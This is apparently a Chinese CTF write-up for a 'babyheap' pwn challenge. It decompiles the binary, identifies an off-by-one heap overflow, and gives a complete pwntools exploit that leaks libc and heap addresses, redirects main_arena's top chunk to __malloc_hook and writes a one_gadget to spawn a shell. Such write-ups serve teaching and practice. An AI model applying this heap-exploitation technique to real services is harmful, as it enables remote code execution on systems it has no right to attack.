检查文件信息
a
ELF64
文件,小端序,经过符号剥离。
b
保护全开。
e
3
c
改为为题目的glibc-2.24。
试运行
d
逆向分析
/* menu 函数*/
char *menu()
{
int fd; // [rsp+4h] [rbp-3Ch]
char *addr; // [rsp+8h] [rbp-38h]
unsigned __int64 v3; // [rsp+10h] [rbp-30h]
__int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF
buf[3] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts(
" __ __ _____________ __ __ ___ ____\n"
" / //_// ____/ ____/ | / / / / / | / __ )\n"
" / ,< / __/ / __/ / |/ / / / / /| | / __ |\n"
" / /| |/ /___/ /___/ /| / / /___/ ___ |/ /_/ /\n"
"/_/ |_/_____/_____/_/ |_/ /_____/_/ |_/_____/\n");
puts("===== Baby Heap in 2018 =====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, buf, 0x10uLL) != 0x10 )
exit(-1);
close(fd);
addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
return &addr[v3];
}
/* main 函数 */
__int64 __fastcall main(char *a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]
v4 = Init();
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1LL:
Alloc(v4);
break;
case 2LL:
update(v4);
break;
case 3LL:
delete(v4);
break;
case 4LL:
view(v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
/* alloc 函数 */
void __fastcall Alloc(__int64 list)
{
int i; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(0x18LL * i + list) )
{
printf("Size: ");
size = get_num();
if ( size > 0 )
{
if ( size > 0x58 )
size = 0x58; // 最大0x58
v3 = calloc(size, 1uLL); // calloc() 初始化
if ( !v3 )
exit(-1);
*(_DWORD *)(0x18LL * i + list) = 1;
*(_QWORD *)(list + 0x18LL * i + 8) = size;
*(_QWORD *)(list + 0x18LL * i + 0x10) = v3;
printf("Chunk %d Allocated\n", (unsigned int)i);
}
return;
}
}
}
/* 不难推测其结构体 */
struct heap {
uint is_in_use;
uint size;
void* chunk;
}
struct heap list[16];
/* update 函数 */
int __fastcall update(__int64 a1)
{
unsigned __int64 v1; // rax
signed int index; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
index = get_num();
if ( (unsigned int)index <= 15 && *(_DWORD *)(0x18LL * index + a1) == 1 )
{
printf("Size: ");
LODWORD(v1) = get_num();
v4 = v1;
if ( (int)v1 > 0 )
{
v1 = *(_QWORD *)(0x18LL * index + a1 + 8) + 1LL;// off-by-one
if ( v4 <= v1 )
{
printf("Content: ");
read_content(*(_QWORD *)(0x18LL * index + a1 + 0x10), v4);
LODWORD(v1) = printf("Chunk %d Updated\n", (unsigned int)index);
}
}
}
else
{
LODWORD(v1) = puts("Invalid Index");
}
return v1;
}
/* delete 函数 */
int __fastcall delete(__int64 a1)
{
signed int index; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
index = get_num();
if ( (unsigned int)index > 15 || *(_DWORD *)(0x18LL * index + a1) != 1 )
return puts("Invalid Index");
*(_DWORD *)(0x18LL * index + a1) = 0;
*(_QWORD *)(0x18LL * index + a1 + 8) = 0LL;
free(*(void **)(0x18LL * index + a1 + 0x10));
*(_QWORD *)(0x18LL * index + a1 + 0x10) = 0LL;
return printf("Chunk %d Deleted\n", (unsigned int)index);
}
/* view 函数 */
int __fastcall view(__int64 a1)
{
signed int index; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
index = get_num();
if ( (unsigned int)index > 15 || *(_DWORD *)(24LL * index + a1) != 1 )
return puts("Invalid Index");
printf("Chunk[%d]: ", (unsigned int)index);
write_content(*(_QWORD *)(0x18LL * index + a1 + 16), *(_QWORD *)(0x18LL * index + a1 + 8));
return puts(&byte_16AF);
}
漏洞利用
利用off-by-one
覆盖next_chunk
的size
位,制造堆块覆盖,以此泄露libc基址。然后通过堆块重叠,泄露堆地址。然后利用重叠的堆块将top_chunk
迁移在__malloc_hook
上方,申请到__malloc_hook
改为one_gadget
即可getshell
。
前置脚本
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h']
def connect():
global elf, libc, p
elf = ELF('./babyheap')
libc = ELF('./libc-2.24.so')
p = process('./babyheap')
is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
pass
def alloc(size):
p.recvuntil(b'Command: ')
p.sendline(b'1')
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
p.recvuntil(b'Allocated\n')
def update(idx, size, content):
p.recvuntil(b'Command: ')
p.sendline(b'2')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
p.recvuntil(b'Content: ')
p.sendline(content)
p.recvuntil(b'Updated\n')
def delete(idx):
p.recvuntil(b'Command: ')
p.sendline(b'3')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Deleted\n')
def view(idx):
p.recvuntil(b'Command: ')
p.sendline(b'4')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b']: ')
leak()
def leak():
global libc_base, heap_addr, need
alloc(0x48) # 0 chunk0
alloc(0x48) # 1 chunk1
alloc(0x48) # 2 chunk2
alloc(0x48) # 3 chunk3
update(0, 0x49, b'a'*0x48 + p64(0xa1))
delete(1)
alloc(0x48) # 1 chunk1
view(2)
libc_base = u64(p.recv(6).ljust(0x8, b'\x00')) - 0x398b58
log.success("libc_base : 0x%x" % libc_base)
debug() # d1
alloc(0x48) # 4 2 chunk2
delete(1)
delete(2)
view(4)
heap_addr = u64(p.recv(8)) - 0x50
log.success("heap_addr : 0x%x" % heap_addr)
need = hex(heap_addr)[:4]
debug() # d2
if need == '0x55':
log.info("Not match")
p.close()
elif need == '0x56':
need = False;
else:
log.info("Error size")
6
首先申请0~3
四个0x48
大小的空间,通过chunk0
溢出将chunk1
的size
设置为0xa1
,并释放chunk1
,我们就得到了unsorted bin
中chunk2
的fd
指针。view(2)
即可将libc
地址泄露。
7
我们再次申请一块0x48
大小的空间将把chunk2
申请出来,此时list[2]
和list[4]
指向同一地址。依次释放list[1]
和list[2]
我们,此时chunk2
的fd
指针将会指向chunk1
的prev_size
,此时list[4]
依然有读写权限,可以用来泄露chunk1
的地址。但我们要想修改malloc_hook的值,现在list[1]
和list[2]
都是空的,list[4]
指向chunk2
,我们可以通过list[4]
修改chunk2_fd
,制造fake_chunk
迁移到main_arena
上面,覆盖掉top_chunk
的指针,改到__malloc_hook
上面。但0x56
开头的堆地址才能绕过`libc_calloc()`的断言。
getshell
def get_shell():
one_gadget = libc_base + 0x3f50a
malloc_hook = libc_base + libc.symbols['__malloc_hook']
main_arena = libc_base + libc.symbols['main_arena']
alloc(0x58) # 1 chunk4
delete(1)
update(4, 0x8, p64(main_arena + 0x25))
alloc(0x48) # 1 chunk2
alloc(0x48) # 2 fake_chunk
debug() # d1
update(2, 0x23+0x8, b'b'*0x23 + p64(malloc_hook - 0x10))
debug() # d2
alloc(0x48) # 5
update(5, 0x8, p64(one_gadget))
debug() # d3
p.recvuntil(b'Command: ')
p.sendline(b'1')
p.recvuntil(b'Size: ')
p.sendline(b'20')
8
我们申请并释放一个0x60
大小的chunk
,用于改变main_arena
的结构,将0x56
填写进main_arena
,然后通过截断,将0x56
截取出来,作为fake_chunk_size
,绕过fast bin
检查。
9
此时我们将其覆盖,我们把main_arena
保存的top_chunk
指针修改为__mallloc_hook
上方0x10(prev_size | size)
。
10
我们再次申请将会把__malloc_hook
申请出来,并且__malloc_hook
是fd
,将其改为one_gadget
,然后随意申请一个堆块即可get_shell。
11
完整exp
from pwn import *
context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h']
def connect():
global elf, libc, p
elf = ELF('./babyheap')
libc = ELF('./libc-2.24.so')
p = process('./babyheap')
is_debug = True
def debug(gdbscript=""):
if is_debug:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
pass
def alloc(size):
p.recvuntil(b'Command: ')
p.sendline(b'1')
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
p.recvuntil(b'Allocated\n')
def update(idx, size, content):
p.recvuntil(b'Command: ')
p.sendline(b'2')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())
p.recvuntil(b'Content: ')
p.sendline(content)
p.recvuntil(b'Updated\n')
def delete(idx):
p.recvuntil(b'Command: ')
p.sendline(b'3')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b'Deleted\n')
def view(idx):
p.recvuntil(b'Command: ')
p.sendline(b'4')
p.recvuntil(b'Index: ')
p.sendline(str(idx).encode())
p.recvuntil(b']: ')
def leak():
global libc_base, heap_addr, need
alloc(0x48) # 0 chunk0
alloc(0x48) # 1 chunk1
alloc(0x48) # 2 chunk2
alloc(0x48) # 3 chunk3
update(0, 0x49, b'a'*0x48 + p64(0xa1))
delete(1)
alloc(0x48) # 1 chunk1
view(2)
libc_base = u64(p.recv(6).ljust(0x8, b'\x00')) - 0x398b58
log.success("libc_base : 0x%x" % libc_base)
alloc(0x48) # 4 2 chunk2
delete(1)
delete(2)
view(4)
heap_addr = u64(p.recv(8)) - 0x50
log.success("heap_addr : 0x%x" % heap_addr)
need = hex(heap_addr)[:4]
if need == '0x55':
log.info("Not match")
p.close()
elif need == '0x56':
need = False;
else:
log.info("Error size")
def get_shell():
one_gadget = libc_base + 0x3f50a
malloc_hook = libc_base + libc.symbols['__malloc_hook']
main_arena = libc_base + libc.symbols['main_arena']
alloc(0x58) # 1 chunk4
delete(1)
update(4, 0x8, p64(main_arena + 0x25))
alloc(0x48) # 1 chunk2
alloc(0x48) # 2 fake_chunk
update(2, 0x23+0x8, b'b'*0x23 + p64(malloc_hook - 0x10))
alloc(0x48) # 5
update(5, 0x8, p64(one_gadget))
p.recvuntil(b'Command: ')
p.sendline(b'1')
p.recvuntil(b'Size: ')
p.sendline(b'20')
def pwn():
connect()
leak()
while need:
connect()
leak()
get_shell()
p.interactive()
if __name__ == '__main__':
pwn()